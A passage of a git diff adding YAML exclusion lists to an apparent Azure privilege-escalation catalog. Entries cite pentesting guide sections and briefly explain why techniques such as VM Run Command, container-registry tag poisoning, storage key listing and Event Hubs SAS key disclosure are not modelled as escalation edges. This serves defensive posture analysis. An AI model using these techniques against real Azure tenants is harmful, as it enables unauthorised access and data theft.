PubSub client tokens with bounded roles, but the exact client subject, token scope, usable credential, and newly permitted operation are not verified.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-signalr-web-pubsub-privesc.md#live-trace-eavesdropping-with-signalrlivetraceread + technique: Live trace eavesdropping + reason: Read-only connection and traffic metadata disclosure. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-speech-services-post-exploitation.md#azure-ai-speech + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Azure AI Speech introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#azure-spring-apps + technique: Azure Spring Apps introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#spring-apps-overview + technique: Spring Apps overview + reason: Background section; techniques are modelled in azure/spring_apps.yaml. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#rce-via-jvmoptions--environment-variables-settings-only-no-artifact-upload + technique: Code execution through deployment JVM options / environment variables + reason: Same requirement (apps/deployments/write) and same app identities as azure-springapps-deployment-write-app-identity, whose code_source condition includes this settings-only path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#listtestkeys--public-test-endpoints + technique: listTestKeys public test endpoints + reason: Unauthenticated HTTP reach to apps and possible secret disclosure through exposed actuator routes; content-dependent, no Azure/Entra identity derivable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringregeneratetestkeyaction + technique: regenerateTestKey + reason: Same test-endpoint key as listTestKeys (returned on rotation) plus DoS; no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringapmslistsecretkeysaction + technique: APM integration secret keys + reason: Telemetry-backend credentials (Application Insights connection string or third-party APM keys); data access, no Azure/Entra identity. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#config-server--bindings--secret-exposure + technique: Config server repoint / bindings / environment secrets + reason: Configuration poisoning and secret disclosure whose result depends on application behaviour and secret contents; no code runs as the app identity through these actions alone and nothing is derivable from RBAC. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#custom-container--build-service-supply-chain + technique: Custom container deploy / build-service tampering + reason: Custom container deployment is a code_source of azure-springapps-deployment-write-app-identity. Enterprise builder / buildpack-binding tampering only affects future builds of other apps (timing- and pipeline-dependent supply chain), not modelled. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#sql + technique: SQL introduction + reason: Introductory section. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#data-plane-escalation-azure-sql-fixed-server-roles-impersonate-db_owner + technique: T-SQL role escalation (fixed server roles, IMPERSONATE, db_owner) + reason: 'NEEDS SCHEMA: T-SQL IMPERSONATE and role grants can create exact SQL principal or permission gains, but the catalog lacks the source SQL login, target login or role, and effective before/after permissions.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md#microsoftsqlserversvirtualnetworkruleswrite--microsoftsqlserversoutboundfirewallruleswrite + technique: SQL VNet rules / outbound firewall rules + reason: Network reachability and exfiltration enablement; no identity gain (network_reachable condition of the SQL admin entries). diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_c.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_c.yaml new file mode 100644 index 0000000000..a187bef5bb --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_rbac_refresh_c.yaml @@ -0,0 +1,97 @@ +# azC refresh against hacktricks-cloud 171e422: techniques reviewed and intentionally NOT modelled +# as principal -> principal privilege-escalation edges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#az-static-web-apps + technique: "Az Static Web Apps" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#storage-accounts--blobs + technique: "Storage Accounts & Blobs" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#stream-analytics + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Stream Analytics" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#full-job-rewrite--managed-identity-attach-with-streamingjobswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Full-job rewrite and managed-identity attach with streamingjobs/Write" + reason: "Confused-deputy use of the job identity: Stream Analytics queries and outputs only read and write data through configured connectors, with no token disclosure or attacker-chosen code execution. Data access only." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#msi-backed-confused-deputy-source-read-with-inputswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "MSI-backed confused-deputy source read with inputs/Write" + reason: "Confused-deputy data read through the job's managed identity; no identity or token is gained." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#azure-ml-udf-endpoint-repoint-with-functionswrite + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Azure ML UDF endpoint repoint with functions/Write" + reason: "Data exfiltration and request relay to an attacker endpoint; JavaScript and C# UDFs are sandboxed and expose no identity token." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-stream-analytics-post-exploitation.md#job-less-egress--credential-validation-proxy-with-locationssampleinputaction + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: "Job-less egress / credential-validation proxy with locations/SampleInput/action" + reason: "Service-side proxy using credentials the caller supplies; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#azure-synapse-analytics + technique: "Azure Synapse Analytics" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#open-the-workspace-firewall-to-reach-sql--dev-endpoints + technique: "Open the workspace firewall to reach SQL / dev endpoints" + reason: "Network reachability only; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#grant-the-workspace-msi-sql-control-with-managedidentitysqlcontrolsettingswrite + technique: "Grant the workspace MSI SQL control with managedIdentitySqlControlSettings/write" + reason: "Enabler only: grants the workspace identity SQL control, which the source can use only through a separate execution primitive as that identity (see azure-synapse-bigdatapools-write-spark-poisoning)." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-synapse-privesc.md#git-repo-poisoning-via-workspaceswrite + technique: "Git-repo poisoning via workspaces/write" + reason: "Supply-chain change that needs another principal to publish or run the poisoned artifacts; not derivable." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#azure-ai-video-indexer + technique: "Azure AI Video Indexer" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#restricted-viewer-access-token--private-insights + technique: "Restricted-viewer access token - private insights" + reason: "NEEDS SCHEMA: Exact Video Indexer token subject/role and newly permitted insight action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#permission-boundary + technique: "Permission boundary" + reason: "Background section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-video-indexer-privesc.md#arc-extension-token-operations + technique: "Arc extension token operations" + reason: "NEEDS SCHEMA: Exact Arc extension token subject/role and newly permitted action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md#virtual-desktop + technique: "Virtual Desktop" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#virtual-machines--network + technique: "Virtual Machines & Network" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesloginasadminaction + technique: "Microsoft.Compute/virtualMachines/loginAsAdmin/action" + reason: "Covered by azure-vm-entra-login." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesread-microsoftcomputevirtualmachineswrite-microsoftcomputevirtualmachinesextensionsread-microsoftcomputevirtualmachinesextensionswrite + technique: "VMAccess password reset (virtualMachines read/write + extensions read/write)" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#point-to-site-vpn-root-certificate-injection-durable-vnet-access + technique: "Point-to-Site VPN root-certificate injection" + reason: "Network access and persistence only; no new identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#virtual-machines + technique: "Virtual Machines" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#vm-extensions + technique: "VM Extensions" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#relevant-vm-extensions + technique: "Relevant VM extensions" + reason: "Covered by azure-vm-extensions-write." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#vm-applications + technique: "VM Applications" + reason: "Covered by azure-vm-gallery-application-install." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#user-data + technique: "User data" + reason: "User data is not executed by the platform; only guest software that reads it could act on it, which is not derivable." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#custom-data + technique: "Custom data" + reason: "Custom data runs only at provisioning; the new-VM case is covered by azure-vm-create-with-user-assigned-identity." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-code-execution-privesc.md#run-command + technique: "Run Command" + reason: "Covered by azure-vm-runcommand-action." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-managed-identity-token-privesc.md#virtual-machines + technique: "Virtual Machines" + reason: "Introductory section." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vm-managed-identity-token-privesc.md#managed-identity-access-from-inside-the-vm + technique: "Managed Identity Access From Inside the VM" + reason: "Background section. IMDS token issuance is the outcome of the VM code-execution entries." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#azure-vmware-solution + technique: "Azure VMware Solution" + reason: "Introductory section." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml new file mode 100644 index 0000000000..1c83d3a2c7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_retired_apim_git.yaml @@ -0,0 +1,6 @@ +# Reviewed retired feature; kept outside the active privilege-escalation map. +- id: azure-apim-tenant-git-deploy-managed-identity-token + source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicetenantdeployaction--bulk-config-overwrite-via-built-in-git + technique: Microsoft.ApiManagement/service/tenant/deploy/action with built-in Git configuration + reason: Microsoft retired APIM built-in Git configuration save and deploy on 15 March 2025. The listed permissions no longer establish a usable policy-deployment path. + reference: https://learn.microsoft.com/en-us/azure/api-management/breaking-changes/git-configuration-retirement-march-2025 diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml new file mode 100644 index 0000000000..1f6c27751e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_strict_principal_boundary.yaml @@ -0,0 +1,921 @@ +# Excluded from the active Azure principal escalation catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#cloudadmin--nsx-t-credential-disclosure-listadmincredentials + source_revision: 171e422 + technique: Read AVS vCenter CloudAdmin and NSX-T admin credentials + original_id: azure-avs-list-admin-credentials + reason: 'The historical selector merged vCenter CloudAdmin and NSX-T admin into one private-cloud resource proxy. Narrow typed variants now require each exact subject, usable credential, and observed newly authorized action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite + source_revision: 171e422 + technique: AVS Run Command script execution + original_id: azure-avs-run-command-script-execution + reason: 'The historical selector merged conditional Run Command effects into a private-cloud resource proxy. A narrow typed vCenter variant now requires a successful grant to an exact subject and newly authorized action; NSX-T and non-grant cmdlets remain unmodelled.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#bind-a-privileged-identity-to-a-pool-poolswrite--rce-as-identity-via-cicd-jobs + technique: Attach a user-assigned identity to a Managed DevOps Pool + original_id: azure-devopspool-assign-user-assigned-identity + reason: Assigning a UAMI to a pool does not let the source run code as it; the separate CI job queue or agent-image control needed to use the identity is not declared or verified by this entry. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#privesc + technique: Change user attributes referenced by a dynamic membership rule + original_id: azure-entraid-dynamic-group-attribute-control + reason: The selector accepts every dynamic group with a membership rule; it does not verify that the source controls the affected user, can write a referenced attribute, or can make that specific rule true. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md#privesc + technique: Invite a guest that satisfies a dynamic membership rule + original_id: azure-entraid-dynamic-group-guest-invite + reason: The selector accepts every dynamic group with a membership rule; it does not verify that an invited guest can satisfy the exact rule or that the source controls that guest principal. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entra-id-governance-privesc.md#guest-self-enrolment-via-loose-auto-assignment-rule-privesc + technique: Invite a guest that matches a loose access-package auto-assignment rule + original_id: azure-entraid-access-package-guest-auto-assignment + reason: The policy selector only screens broad rule text and linked resources; it cannot verify that the source controls a guest who satisfies the rule and receives the named group permissions. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#read-configured-third-party-credentials + technique: 'Terminal configuration disclosure: app services' + original_id: azure-app-services-read-configured-third-party-credentials + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#cluster--client-certificate-theft--data-plane-admin + technique: 'Terminal configuration disclosure: service fabric' + original_id: azure-audit-cluster-client-certificate-theft-data-plane-admin + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + technique: 'Terminal configuration disclosure: service linker' + original_id: azure-service-linker-read-connection-configuration-to-exfiltrate-the-backing-secret + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#config-server--bindings--secret-exposure + technique: 'Terminal configuration disclosure: spring apps' + original_id: azure-spring-apps-config-server-bindings-secret-exposure + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#microsoftappplatformspringapmslistsecretkeysaction + technique: 'Terminal configuration disclosure: spring apps' + original_id: azure-spring-apps-microsoftappplatformspringapmslistsecretkeysaction + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#microsoftappagentsdataconnectorslistsecretsaction + technique: 'Terminal configuration disclosure: sre agent' + original_id: azure-sre-agent-microsoftappagentsdataconnectorslistsecretsaction + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-configuration-disclosure.md#microsoftappagentslistsecretsaction + technique: 'Terminal configuration disclosure: sre agent' + original_id: azure-sre-agent-microsoftappagentslistsecretsaction + reason: Terminal secret/resource disclosure without a verified credential for an identified target principal or + a grant of permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#authorization-rule-key-disclosure-and-rotation + technique: Authorization-rule key disclosure and rotation + original_id: azure-audit-authorization-rule-key-disclosure-and-rotation + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#listtestkeys--public-test-endpoints + technique: listTestKeys / public test endpoints + original_id: azure-audit-listtestkeys-public-test-endpoints + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-spring-apps-privesc.md#microsoftappplatformspringregeneratetestkeyaction + technique: Microsoft.AppPlatform/Spring/regenerateTestKey/action + original_id: azure-audit-microsoftappplatformspringregeneratetestkeyaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-purview-privesc.md#microsoftpurviewpolicyelementswrite--purview-access-policies-into-governed-sqlstorage + technique: Microsoft.Purview/policyElements/write — Purview access policies into governed SQL/Storage + original_id: azure-audit-microsoftpurviewpolicyelementswrite-purview-access-policies-into-governe + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesauthorizationruleswrite + technique: Microsoft.ServiceBus/namespaces/AuthorizationRules/write + original_id: azure-audit-microsoftservicebusnamespacesauthorizationruleswrite + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationruleslistkeysaction + technique: Microsoft.ServiceBus/namespaces/disasterRecoveryConfigs/authorizationRules/listkeys/action + original_id: azure-audit-microsoftservicebusnamespacesdisasterrecoveryconfigsauthorizationrulesli + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md#microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysaction-or-microsoftservicebusnamespacesqueuestopicsauthorizationrulesregeneratekeysaction + technique: Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action + original_id: azure-audit-microsoftservicebusnamespacesqueuestopicsauthorizationruleslistkeysactio + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistaccountsasaction + technique: Microsoft.Storage/storageAccounts/listAccountSas/action + original_id: azure-audit-microsoftstoragestorageaccountslistaccountsasaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistkeysaction + technique: Microsoft.Storage/storageAccounts/listkeys/action + original_id: azure-audit-microsoftstoragestorageaccountslistkeysaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountslistservicesasaction + technique: Microsoft.Storage/storageAccounts/listServiceSas/action + original_id: azure-audit-microsoftstoragestorageaccountslistservicesasaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsregeneratekeyaction + technique: Microsoft.Storage/storageAccounts/regenerateKey/action + original_id: azure-audit-microsoftstoragestorageaccountsregeneratekeyaction + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md#microsoftwebstaticsiteslistsecretsaction + technique: Microsoft.Web/staticSites/listSecrets/action + original_id: azure-audit-microsoftwebstaticsiteslistsecretsaction + reason: "NEEDS SCHEMA: Exact deployment key subject, usability, and newly permitted deployment action must be verified." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-databricks-privesc.md#unity-catalog-storage-credential--external-location-abuse + technique: Obtain temporary Azure Storage authority through Unity Catalog + original_id: azure-databricks-uc-temporary-storage-credential + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#hns-acl-takeover-and-blob-super-user-data-action + technique: Rewrite ADLS Gen2 path ACLs for new access + original_id: azure-storage-hns-acl-takeover-and-blob-super-user-data-action + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md#microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsaction + technique: Rewrite Azure Files NTFS ACLs for new access + original_id: azure-storage-microsoftstoragestorageaccountsfileservicesfilesharesfilesmodifypermissionsact + reason: Bounded service effect explicitly modeled without a target principal or a grant of permissions to the + caller. +- source: src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md#naa--broci-nested-app-authentication--broker-client-injection + technique: Redeem a broker-context refresh token as another first-party client and resource + original_id: azure-v3-03-redeem-a-broker-context-refresh-token-as-another-first + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#managed-namespace-credential-retrieval + technique: Managed namespace credential retrieval + original_id: azure-v3-24-managed-namespace-credential-retrieval + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#authorization-rule-key-disclosure + technique: Event Hubs rule keys + original_id: azure-v3-29-event-hubs-rule-keys + reason: "NEEDS SCHEMA: bind the named Event Hubs authorization rule, returned SAS key, enabled local auth, successful key use, and a Send/Listen/Manage capability the caller lacked before key recovery." +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-event-hubs-post-exploitation.md#direct-entra-authenticated-event-read-and-injection + source_revision: 5c5783913ab52876e208ac45b94ec4c876a6a7db + technique: Event Hubs send/receive + original_id: azure-v3-30-event-hubs-send-receive + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#create-an-entity-sas-policy-and-recover-its-generated-key + technique: Event Hubs entity SAS + original_id: azure-v3-31-event-hubs-entity-sas + reason: "NEEDS SCHEMA: prove the exact new entity SAS rule, its rights, returned key, successful use, and a new effective permission absent from the caller before rule creation." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-event-hubs-privesc.md#geo-disaster-recovery-alias-key-disclosure + technique: Event Hubs Geo-DR alias keys + original_id: azure-v3-32-event-hubs-geo-dr-alias-keys + reason: "NEEDS SCHEMA: bind the exact Geo-DR alias rule and returned SAS key to successful use and new effective rights absent from the caller." +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#covert-consumer-group--silent-stream-tap-consumergroupswrite + technique: Covert consumer group — silent stream tap (consumergroups/write) + original_id: azure-v3-34-covert-consumer-group-silent-stream-tap-consumergroups + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#geo-dr-alias-redirection-persistence-disasterrecoveryconfigswrite + technique: Geo-DR alias redirection persistence (disasterRecoveryConfigs/write) + original_id: azure-v3-35-geo-dr-alias-redirection-persistence-disasterrecoveryc + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#capture-archive-as-a-durable-exfil-feed-eventhubswrite + technique: Capture archive as a durable exfil feed (eventhubs/write) + original_id: azure-v3-36-capture-archive-as-a-durable-exfil-feed-eventhubs-writ + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#self-minted-entity-sas-rule--durable-bearer-credential + technique: Self-minted entity SAS rule — durable bearer credential + original_id: azure-v3-37-self-minted-entity-sas-rule-durable-bearer-credential + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-persistence/az-event-hubs-persistence.md#re-enable-local-sas-authentication-disablelocalauthfalse + technique: Re-enable local SAS authentication (disableLocalAuth=false) + original_id: azure-v3-38-re-enable-local-sas-authentication-disablelocalauth-fa + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#alternative-cluster-credential-retrieval-apis + technique: managedNamespaces/listCredential and clusterMonitoringUser credential retrieval + original_id: azure-v3-40-managednamespaces-listcredential-and-clustermonitoring + reason: The declared target is a bounded authority rather than an identified target principal or an explicit grant + of extra permissions to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md#microsoftstoragestorageaccountsfileservicesfilesharesfileswrite-microsoftstoragestorageaccountsfileserviceswritefilebackupsemanticsaction + technique: File share overwrite + original_id: azure-v3-09-file-share-overwrite + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-cost-management-persistence.md#budget-triggered-action-group-as-a-persistent-trigger + technique: Budget Action Group + original_id: azure-v3-10-budget-action-group + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-monitor-persistence.md#alert-rule--action-group-as-a-trigger-you-own + technique: Alert Action Group + original_id: azure-v3-11-alert-action-group + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-monitor-post-exploitation.md#abusing-alert-automation-turning-a-defence-into-an-execution-surface + technique: Alert automation + original_id: azure-v3-12-alert-automation + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-persistence/az-databricks-persistence.md#global-init-scripts--workspace-wide-persistent-rce + technique: Databricks global init scripts + original_id: azure-v3-13-databricks-global-init-scripts + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistrieslistcredentialsaction + technique: ACR listCredentials passive tag poison + original_id: azure-v3-14-acr-listcredentials-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesregeneratecredentialaction + technique: ACR regenerateCredential passive tag poison + original_id: azure-v3-15-acr-regeneratecredential-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesgeneratecredentialsaction + technique: ACR token generateCredentials passive tag poison + original_id: azure-v3-16-acr-token-generatecredentials-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesimportimageaction + technique: ACR importImage passive tag poison + original_id: azure-v3-17-acr-importimage-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriestaskrunswrite + technique: ACR taskruns/write passive tag poison + original_id: azure-v3-18-acr-taskruns-write-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriesschedulerunaction + technique: ACR scheduleRun passive tag poison + original_id: azure-v3-19-acr-schedulerun-passive-tag-poison + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#mutable-image-tag-poisoning-with-repository-content-permissions + technique: Mutable image tag passive consumers + original_id: azure-v3-20-mutable-image-tag-passive-consumers + reason: The source permission or capability needed to perform the stated write/action is absent from requires; + reviewed target evidence alone cannot establish the X permission to Y action escalation path. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md#microsoftcontainerregistryregistriescacheruleswrite-credentialsetswrite--cache-rule-redirect--supply-chain + technique: ACR 